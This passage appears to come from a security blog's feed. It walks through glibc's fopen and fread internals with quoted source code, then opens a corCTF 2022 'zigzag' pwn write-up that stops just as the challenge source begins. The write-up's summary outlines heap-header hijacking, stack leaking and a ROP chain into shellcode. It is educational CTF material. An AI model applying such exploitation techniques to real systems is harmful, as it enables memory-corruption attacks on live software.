&lt;p&gt;Then the &lt;code&gt;fp&lt;/code&gt; (the file pointer) is linked into the single linked list that keeps track of every file stream, for which the HEAD is &lt;code&gt;_IO_list_all&lt;/code&gt;.
&lt;code&gt;_IO_link_in&lt;/code&gt; is defined like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/genops.c#L86

void
_IO_link_in (struct _IO_FILE_plus *fp)
{
  if ((fp-&amp;gt;file._flags &amp;amp; _IO_LINKED) == 0)
    {
      fp-&amp;gt;file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
      _IO_cleanup_region_start_noarg (flush_cleanup);
      _IO_lock_lock (list_all_lock);
      run_fp = (FILE *) fp;
      _IO_flockfile ((FILE *) fp);
#endif
      fp-&amp;gt;file._chain = (FILE *) _IO_list_all;
      _IO_list_all = fp;
#ifdef _IO_MTSAFE_IO
      _IO_funlockfile ((FILE *) fp);
      run_fp = NULL;
      _IO_lock_unlock (list_all_lock);
      _IO_cleanup_region_end (0);
#endif
    }
}
libc_hidden_def (_IO_link_in)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once it has been initialized, &lt;code&gt;_IO_file_fopen&lt;/code&gt; is called to open the file with the right file and mode. Here is its definition:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/fileops.c#L211

FILE *
_IO_new_file_fopen (FILE *fp, const char *filename, const char *mode,
		    int is32not64)
{
  int oflags = 0, omode;
  int read_write;
  int oprot = 0666;
  int i;
  FILE *result;
  const char *cs;
  const char *last_recognized;

  if (_IO_file_is_open (fp))
    return 0;
  switch (*mode)
    {
    case &apos;r&apos;:
      omode = O_RDONLY;
      read_write = _IO_NO_WRITES;
      break;
    case &apos;w&apos;:
      omode = O_WRONLY;
      oflags = O_CREAT|O_TRUNC;
      read_write = _IO_NO_READS;
      break;
    case &apos;a&apos;:
      omode = O_WRONLY;
      oflags = O_CREAT|O_APPEND;
      read_write = _IO_NO_READS|_IO_IS_APPENDING;
      break;
    default:
      __set_errno (EINVAL);
      return NULL;
    }
  last_recognized = mode;
  for (i = 1; i &amp;lt; 7; ++i)
    {
      switch (*++mode)
	{
	case &apos;\0&apos;:
	  break;
	case &apos;+&apos;:
	  omode = O_RDWR;
	  read_write &amp;amp;= _IO_IS_APPENDING;
	  last_recognized = mode;
	  continue;
	case &apos;x&apos;:
	  oflags |= O_EXCL;
	  last_recognized = mode;
	  continue;
	case &apos;b&apos;:
	  last_recognized = mode;
	  continue;
	case &apos;m&apos;:
	  fp-&amp;gt;_flags2 |= _IO_FLAGS2_MMAP;
	  continue;
	case &apos;c&apos;:
	  fp-&amp;gt;_flags2 |= _IO_FLAGS2_NOTCANCEL;
	  continue;
	case &apos;e&apos;:
	  oflags |= O_CLOEXEC;
	  fp-&amp;gt;_flags2 |= _IO_FLAGS2_CLOEXEC;
	  continue;
	default:
	  /* Ignore.  */
	  continue;
	}
      break;
    }

  result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
			  is32not64);

  if (result != NULL)
    {
      /* Test whether the mode string specifies the conversion.  */
      cs = strstr (last_recognized + 1, &quot;,ccs=&quot;);
      if (cs != NULL)
	{
	  /* Yep.  Load the appropriate conversions and set the orientation
	     to wide.  */
	  struct gconv_fcts fcts;
	  struct _IO_codecvt *cc;
	  char *endp = __strchrnul (cs + 5, &apos;,&apos;);
	  char *ccs = malloc (endp - (cs + 5) + 3);

	  if (ccs == NULL)
	    {
	      int malloc_err = errno;  /* Whatever malloc failed with.  */
	      (void) _IO_file_close_it (fp);
	      __set_errno (malloc_err);
	      return NULL;
	    }

	  *((char *) __mempcpy (ccs, cs + 5, endp - (cs + 5))) = &apos;\0&apos;;
	  strip (ccs, ccs);

	  if (__wcsmbs_named_conv (&amp;amp;fcts, ccs[2] == &apos;\0&apos;
				   ? upstr (ccs, cs + 5) : ccs) != 0)
	    {
	      /* Something went wrong, we cannot load the conversion modules.
		 This means we cannot proceed since the user explicitly asked
		 for these.  */
	      (void) _IO_file_close_it (fp);
	      free (ccs);
	      __set_errno (EINVAL);
	      return NULL;
	    }

	  free (ccs);

	  assert (fcts.towc_nsteps == 1);
	  assert (fcts.tomb_nsteps == 1);

	  fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr = fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end;
	  fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr = fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base;

	  /* Clear the state.  We start all over again.  */
	  memset (&amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_IO_state, &apos;\0&apos;, sizeof (__mbstate_t));
	  memset (&amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_IO_last_state, &apos;\0&apos;, sizeof (__mbstate_t));

	  cc = fp-&amp;gt;_codecvt = &amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_codecvt;

	  cc-&amp;gt;__cd_in.step = fcts.towc;

	  cc-&amp;gt;__cd_in.step_data.__invocation_counter = 0;
	  cc-&amp;gt;__cd_in.step_data.__internal_use = 1;
	  cc-&amp;gt;__cd_in.step_data.__flags = __GCONV_IS_LAST;
	  cc-&amp;gt;__cd_in.step_data.__statep = &amp;amp;result-&amp;gt;_wide_data-&amp;gt;_IO_state;

	  cc-&amp;gt;__cd_out.step = fcts.tomb;

	  cc-&amp;gt;__cd_out.step_data.__invocation_counter = 0;
	  cc-&amp;gt;__cd_out.step_data.__internal_use = 1;
	  cc-&amp;gt;__cd_out.step_data.__flags = __GCONV_IS_LAST | __GCONV_TRANSLIT;
	  cc-&amp;gt;__cd_out.step_data.__statep = &amp;amp;result-&amp;gt;_wide_data-&amp;gt;_IO_state;

	  /* From now on use the wide character callback functions.  */
	  _IO_JUMPS_FILE_plus (fp) = fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable;

	  /* Set the mode now.  */
	  result-&amp;gt;_mode = 1;
	}
    }

  return result;
}
libc_hidden_ver (_IO_new_file_fopen, _IO_file_fopen)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s a pretty huge function but most of it is just parsing and handling of a specific encoding for the file. First it checks if the file is already open then it parses the mode and once it&apos;s done it calls &lt;code&gt;_IO_file_open&lt;/code&gt; with the right flags. Then is the file requires a specific encoding it intitializes &lt;code&gt;_wide_data&lt;/code&gt; and so on to properly handle it. Let&apos;s take a look at the  &lt;code&gt;_IO_file_open&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/fileops.c#L180

FILE *
_IO_file_open (FILE *fp, const char *filename, int posix_mode, int prot,
	       int read_write, int is32not64)
{
  int fdesc;
  if (__glibc_unlikely (fp-&amp;gt;_flags2 &amp;amp; _IO_FLAGS2_NOTCANCEL))
    fdesc = __open_nocancel (filename,
			     posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
  else
    fdesc = __open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
  if (fdesc &amp;lt; 0)
    return NULL;
  fp-&amp;gt;_fileno = fdesc;
  _IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING);
  /* For append mode, send the file offset to the end of the file.  Don&apos;t
     update the offset cache though, since the file handle is not active.  */
  if ((read_write &amp;amp; (_IO_IS_APPENDING | _IO_NO_READS))
      == (_IO_IS_APPENDING | _IO_NO_READS))
    {
      off64_t new_pos = _IO_SYSSEEK (fp, 0, _IO_seek_end);
      if (new_pos == _IO_pos_BAD &amp;amp;&amp;amp; errno != ESPIPE)
	{
	  __close_nocancel (fdesc);
	  return NULL;
	}
    }
  _IO_link_in ((struct _IO_FILE_plus *) fp);
  return fp;
}
libc_hidden_def (_IO_file_open)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the mode doesn&apos;t allow the open process to be a cancellation point it calls &lt;code&gt;__open_nocancel&lt;/code&gt;, else it calls &lt;code&gt;__open&lt;/code&gt;. When the file is open, it initializes flags, file descriptor (fileno) and links the actual file pointer to the single linked list that stores every file stream (if that&apos;s not already the case).&lt;/p&gt;
&lt;p&gt;Then we&apos;re back into &lt;code&gt;__fopen_internal&lt;/code&gt; to call &lt;code&gt;__fopen_maybe_mmap&lt;/code&gt; on the newly open file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/iofopen.c#L34

FILE *
__fopen_maybe_mmap (FILE *fp)
{
#if _G_HAVE_MMAP
  if ((fp-&amp;gt;_flags2 &amp;amp; _IO_FLAGS2_MMAP) &amp;amp;&amp;amp; (fp-&amp;gt;_flags &amp;amp; _IO_NO_WRITES))
    {
      /* Since this is read-only, we might be able to mmap the contents
	 directly.  We delay the decision until the first read attempt by
	 giving it a jump table containing functions that choose mmap or
	 vanilla file operations and reset the jump table accordingly.  */

      if (fp-&amp;gt;_mode &amp;lt;= 0)
	_IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_file_jumps_maybe_mmap;
      else
	_IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_wfile_jumps_maybe_mmap;
      fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable = &amp;amp;_IO_wfile_jumps_maybe_mmap;
    }
#endif
  return fp;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I think the comment is enough explicit, once &lt;code&gt;__fopen_maybe_mmap&lt;/code&gt; is called the &lt;code&gt;fp&lt;/code&gt; is returned given the file descriptor has properly been allocated, initialized and that the file is open. Else it means that there are some errors, then the &lt;code&gt;fp&lt;/code&gt; is unlinked from the single linked that stores every file stream, and the &lt;code&gt;locked_FILE&lt;/code&gt; is freed, returning &lt;code&gt;NULL&lt;/code&gt; indicating an error.&lt;/p&gt;
&lt;p&gt;That&apos;s basically how &lt;code&gt;fopen&lt;/code&gt; works !&lt;/p&gt;
&lt;h1&gt;fread&lt;/h1&gt;
&lt;p&gt;Once a &lt;code&gt;_IO_FILE&lt;/code&gt; structure has been initialized and linked into the &lt;code&gt;_IO_list_all&lt;/code&gt; single linked list, several operations can occur. A basic primitive would be to read data from a file, that&apos;s what fread does with the use of certain fields of &lt;code&gt;_IO_FILE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is a basic description of what &lt;code&gt;fread&lt;/code&gt; does, the schema comes from &lt;a href=&quot;https://ray-cp.github.io/archivers/IO_FILE_fread_analysis&quot;&gt;the incredible article of raycp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot; width=&quot;100%&quot;&amp;gt;
fread algorithm.&amp;lt;br&amp;gt;
&amp;lt;img width=&quot;80%&quot; src=&quot;/pic/fread.png&quot;&amp;gt;
&amp;lt;/br&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;According to the man: &quot;The function fread() reads nmemb items of data, each size bytes long, from the stream pointed to by stream, storing them at the location given by ptr.&quot;. Now let&apos;s dig deeper within the code. &lt;code&gt;fread&lt;/code&gt; is defined there:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/iofread.c#L30

size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
  size_t bytes_requested = size * count;
  size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  _IO_release_lock (fp);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the amount of requested bytes is null, zero is returned. &lt;code&gt;CHECK_FILE&lt;/code&gt; checks (if &lt;code&gt;IO_DEBUG&lt;/code&gt; is enabled) if &lt;code&gt;fp&lt;/code&gt; exists and if &lt;code&gt;fp-&amp;gt;flags&lt;/code&gt; is properely structured:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/libioP.h#L866

#ifdef IO_DEBUG
# define CHECK_FILE(FILE, RET) do {				\
    if ((FILE) == NULL						\
	|| ((FILE)-&amp;gt;_flags &amp;amp; _IO_MAGIC_MASK) != _IO_MAGIC)	\
      {								\
	__set_errno (EINVAL);					\
	return RET;						\
      }								\
  } while (0)
#else
# define CHECK_FILE(FILE, RET) do { } while (0)
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then &lt;code&gt;_IO_sgetn&lt;/code&gt; is called:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/genops.c#L408

size_t
_IO_sgetn (FILE *fp, void *data, size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When this is the first time &lt;code&gt;_IO_sgetn&lt;/code&gt; is called, on most of the platforms (the one which support &lt;code&gt;mmap&lt;/code&gt;) the &lt;code&gt;vtable&lt;/code&gt; is initialized to &lt;code&gt;_IO_file_jumps_maybe_mmap&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L1481

const struct _IO_jump_t _IO_file_jumps_maybe_mmap libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow_maybe_mmap),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_new_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn_maybe_mmap),
  JUMP_INIT(seekoff, _IO_file_seekoff_maybe_mmap),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, (_IO_setbuf_t) _IO_file_setbuf_mmap),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which means &lt;code&gt;_IO_sgetn&lt;/code&gt; calls &lt;code&gt;_IO_file_xsgetn_maybe_mmap&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L1409

static size_t
_IO_file_xsgetn_maybe_mmap (FILE *fp, void *data, size_t n)
{
  /* We only get here if this is the first attempt to read something.
     Decide which operations to use and then punt to the chosen one.  */

  decide_maybe_mmap (fp);
  return _IO_XSGETN (fp, data, n);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;decide_maybe_mmap&lt;/code&gt; is basicaly trying to map the file, if it succeeds the &lt;code&gt;vtable&lt;/code&gt; is initialized to &lt;code&gt;&amp;amp;_IO_file_jumps_mmap&lt;/code&gt; else it&apos;s initialized to &lt;code&gt;&amp;amp;_IO_file_jumps&lt;/code&gt;. The function is pretty easy to read, except maybe for the &lt;code&gt;S_ISREG (st.st_mode) &amp;amp;&amp;amp; st.st_size != 0&lt;/code&gt; that checks if it is a regular file and if its size isn&apos;t null. Here is the full code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L658

static void
decide_maybe_mmap (FILE *fp)
{
  /* We use the file in read-only mode.  This could mean we can
     mmap the file and use it without any copying.  But not all
     file descriptors are for mmap-able objects and on 32-bit
     machines we don&apos;t want to map files which are too large since
     this would require too much virtual memory.  */
  struct __stat64_t64 st;

  if (_IO_SYSSTAT (fp, &amp;amp;st) == 0
      &amp;amp;&amp;amp; S_ISREG (st.st_mode) &amp;amp;&amp;amp; st.st_size != 0
      /* Limit the file size to 1MB for 32-bit machines.  */
      &amp;amp;&amp;amp; (sizeof (ptrdiff_t) &amp;gt; 4 || st.st_size &amp;lt; 1*1024*1024)
      /* Sanity check.  */
      &amp;amp;&amp;amp; (fp-&amp;gt;_offset == _IO_pos_BAD || fp-&amp;gt;_offset &amp;lt;= st.st_size))
    {
      /* Try to map the file.  */
      void *p;

      p = __mmap64 (NULL, st.st_size, PROT_READ, MAP_SHARED, fp-&amp;gt;_fileno, 0);
      if (p != MAP_FAILED)
	{
	  /* OK, we managed to map the file.  Set the buffer up and use a
	     special jump table with simplified underflow functions which
	     never tries to read anything from the file.  */

	  if (__lseek64 (fp-&amp;gt;_fileno, st.st_size, SEEK_SET) != st.st_size)
	    {
	      (void) __munmap (p, st.st_size);
	      fp-&amp;gt;_offset = _IO_pos_BAD;
	    }
	  else
	    {
	      _IO_setb (fp, p, (char *) p + st.st_size, 0);

	      if (fp-&amp;gt;_offset == _IO_pos_BAD)
		fp-&amp;gt;_offset = 0;

	      _IO_setg (fp, p, p + fp-&amp;gt;_offset, p + st.st_size);
	      fp-&amp;gt;_offset = st.st_size;

	      if (fp-&amp;gt;_mode &amp;lt;= 0)
		_IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_file_jumps_mmap;
	      else
		_IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_wfile_jumps_mmap;
	      fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable = &amp;amp;_IO_wfile_jumps_mmap;

	      return;
	    }
	}
    }

  /* We couldn&apos;t use mmap, so revert to the vanilla file operations.  */

  if (fp-&amp;gt;_mode &amp;lt;= 0)
    _IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_file_jumps;
  else
    _IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_wfile_jumps;
  fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable = &amp;amp;_IO_wfile_jumps;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two operations are very important to note in this function. First, &lt;code&gt;_IO_setb&lt;/code&gt; (&lt;a href=&quot;#common-functions&quot;&gt;take a look at this&lt;/a&gt;) is called to initialize the begin of the  base buffer to the begin of the memory mapping of the file, the end of the base buffer is then initialized to the end of the file (&lt;code&gt;p + st.st_size&lt;/code&gt;). Right after &lt;code&gt;_IO_setg&lt;/code&gt; (&lt;a href=&quot;#common-functions&quot;&gt;take a look at this&lt;/a&gt;) is called to initialize the read buffer of the file, the base of the read buffer is initialized to the mapping of the file, the current pointer to &lt;code&gt;p + fp-&amp;gt;_offset&lt;/code&gt; and the end of the buffer to the end of the file mapping.&lt;/p&gt;
&lt;p&gt;Then according to what &lt;code&gt;vtable&lt;/code&gt; is used, the &lt;code&gt;xsgetn&lt;/code&gt; is distinct:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L1457

// vtable if the file is maped
const struct _IO_jump_t _IO_file_jumps_mmap libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow_mmap),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_new_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn_mmap),
  JUMP_INIT(seekoff, _IO_file_seekoff_mmap),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, (_IO_setbuf_t) _IO_file_setbuf_mmap),
  JUMP_INIT(sync, _IO_file_sync_mmap),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close_mmap),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

// vanilla vtable
// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L1432
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;_IO_file_xsgetn_mmap&lt;/h2&gt;
&lt;p&gt;Let&apos;s first take a look at &lt;code&gt;_IO_file_xsgetn_mmap&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L1364

static size_t
_IO_file_xsgetn_mmap (FILE *fp, void *data, size_t n)
{
  size_t have;
  char *read_ptr = fp-&amp;gt;_IO_read_ptr;
  char *s = (char *) data;

  have = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;

  if (have &amp;lt; n)
    {
      if (__glibc_unlikely (_IO_in_backup (fp)))
	{
	  s = __mempcpy (s, read_ptr, have);
	  n -= have;
	  _IO_switch_to_main_get_area (fp);
	  read_ptr = fp-&amp;gt;_IO_read_ptr;
	  have = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;
	}

      if (have &amp;lt; n)
	{
	  /* Check that we are mapping all of the file, in case it grew.  */
	  if (__glibc_unlikely (mmap_remap_check (fp)))
	    /* We punted mmap, so complete with the vanilla code.  */
	    return s - (char *) data + _IO_XSGETN (fp, data, n);

	  read_ptr = fp-&amp;gt;_IO_read_ptr;
	  have = fp-&amp;gt;_IO_read_end - read_ptr;
	}
    }

  if (have &amp;lt; n)
    fp-&amp;gt;_flags |= _IO_EOF_SEEN;

  if (have != 0)
    {
      have = MIN (have, n);
      s = __mempcpy (s, read_ptr, have);
      fp-&amp;gt;_IO_read_ptr = read_ptr + have;
    }

  return s - (char *) data;
}

// https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c#L541

/* Guts of underflow callback if we mmap the file.  This stats the file and
   updates the stream state to match.  In the normal case we return zero.
   If the file is no longer eligible for mmap, its jump tables are reset to
   the vanilla ones and we return nonzero.  */
static int
mmap_remap_check (FILE *fp)
{
  struct stat64 st;

  if (_IO_SYSSTAT (fp, &amp;amp;st) == 0
      &amp;amp;&amp;amp; S_ISREG (st.st_mode) &amp;amp;&amp;amp; st.st_size != 0
      /* Limit the file size to 1MB for 32-bit machines.  */
      &amp;amp;&amp;amp; (sizeof (ptrdiff_t) &amp;gt; 4 || st.st_size &amp;lt; 1*1024*1024))
    {
      const size_t pagesize = __getpagesize ();
# define ROUNDED(x)	(((x) + pagesize - 1) &amp;amp; ~(pagesize - 1))
      if (ROUNDED (st.st_size) &amp;lt; ROUNDED (fp-&amp;gt;_IO_buf_end
					  - fp-&amp;gt;_IO_buf_base))
	{
	  /* We can trim off some pages past the end of the file.  */
	  (void) __munmap (fp-&amp;gt;_IO_buf_base + ROUNDED (st.st_size),
			   ROUNDED (fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base)
			   - ROUNDED (st.st_size));
	  fp-&amp;gt;_IO_buf_end = fp-&amp;gt;_IO_buf_base + st.st_size;
	}
      else if (ROUNDED (st.st_size) &amp;gt; ROUNDED (fp-&amp;gt;_IO_buf_end
					       - fp-&amp;gt;_IO_buf_base))
	{
	  /* The file added some pages.  We need to remap it.  */
	  void *p;
#if _G_HAVE_MREMAP
	  p = __mremap (fp-&amp;gt;_IO_buf_base, ROUNDED (fp-&amp;gt;_IO_buf_end
						   - fp-&amp;gt;_IO_buf_base),
			ROUNDED (st.st_size), MREMAP_MAYMOVE);
	  if (p == MAP_FAILED)
	    {
	      (void) __munmap (fp-&amp;gt;_IO_buf_base,
			       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
	      goto punt;
	    }
#else
	  (void) __munmap (fp-&amp;gt;_IO_buf_base,
			   fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
	  p = __mmap64 (NULL, st.st_size, PROT_READ, MAP_SHARED,
			fp-&amp;gt;_fileno, 0);
	  if (p == MAP_FAILED)
	    goto punt;
#endif
	  fp-&amp;gt;_IO_buf_base = p;
	  fp-&amp;gt;_IO_buf_end = fp-&amp;gt;_IO_buf_base + st.st_size;
	}
      else
	{
	  /* The number of pages didn&apos;t change.  */
	  fp-&amp;gt;_IO_buf_end = fp-&amp;gt;_IO_buf_base + st.st_size;
	}
# undef ROUNDED

      fp-&amp;gt;_offset -= fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;
      _IO_setg (fp, fp-&amp;gt;_IO_buf_base,
		fp-&amp;gt;_offset &amp;lt; fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base
		? fp-&amp;gt;_IO_buf_base + fp-&amp;gt;_offset : fp-&amp;gt;_IO_buf_end,
		fp-&amp;gt;_IO_buf_end);

      /* If we are already positioned at or past the end of the file, don&apos;t
	 change the current offset.  If not, seek past what we have mapped,
	 mimicking the position left by a normal underflow reading into its
	 buffer until EOF.  */

      if (fp-&amp;gt;_offset &amp;lt; fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base)
	{
	  if (__lseek64 (fp-&amp;gt;_fileno, fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base,
			 SEEK_SET)
	      != fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base)
	    fp-&amp;gt;_flags |= _IO_ERR_SEEN;
	  else
	    fp-&amp;gt;_offset = fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base;
	}

      return 0;
    }
  else
    {
      /* Life is no longer good for mmap.  Punt it.  */
      (void) __munmap (fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
    punt:
      fp-&amp;gt;_IO_buf_base = fp-&amp;gt;_IO_buf_end = NULL;
      _IO_setg (fp, NULL, NULL, NULL);
      if (fp-&amp;gt;_mode &amp;lt;= 0)
	_IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_file_jumps;
      else
	_IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_wfile_jumps;
      fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable = &amp;amp;_IO_wfile_jumps;

      return 1;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;x
First is computed the amount of bytes that contains the read buffer (&lt;code&gt;have&lt;/code&gt;). If we do not have the right amount of bytes within the read buffer we first try to copy data from the read buffer. Then we check we are mapping the whole file (and not only a part of it) with the use of &lt;code&gt;mmap_remap_check&lt;/code&gt; (to avoid useless code I put it directly after the implementation of &lt;code&gt;_IO_file_xsgetn_mmap&lt;/code&gt;), if it fails the file is unmapped and the vanilla file operations is used to read data from the file.&lt;/p&gt;
</content:encoded></item><item><title>[corCTF 2022 - pwn] zigzag</title><link>https://n4sm.github.io/posts/zigzag/</link><guid isPermaLink="true">https://n4sm.github.io/posts/zigzag/</guid><pubDate>Mon, 08 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;zigzag&lt;/code&gt; is a zig heap challenge I did during the &lt;a href=&quot;https://ctftime.org/event/1656&quot;&gt;corCTF 2022&lt;/a&gt; event. It was pretty exotic given we have to pwn a heap like challenge written in &lt;a href=&quot;https://ziglang.org/&quot;&gt;zig&lt;/a&gt;. It is not using the C allocator but instead it uses the GeneralPurposeAllocator, which makes the challenge even more interesting. Find the tasks &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2022/corCTF/pwn/zieg&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL; DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Understanding zig &lt;code&gt;GeneralPurposeAllocator&lt;/code&gt; internals&lt;/li&gt;
&lt;li&gt;Hiijack the &lt;code&gt;BucketHeader&lt;/code&gt; of a given bucket to get a write what were / read what where primitive.&lt;/li&gt;
&lt;li&gt;Leak stack + ROP on the fileRead function (mprotect + shellcode)&lt;/li&gt;
&lt;li&gt;PROFIT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Source code analysis&lt;/h2&gt;
&lt;p&gt;The source code is procided:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// zig build-exe main.zig -O ReleaseSmall
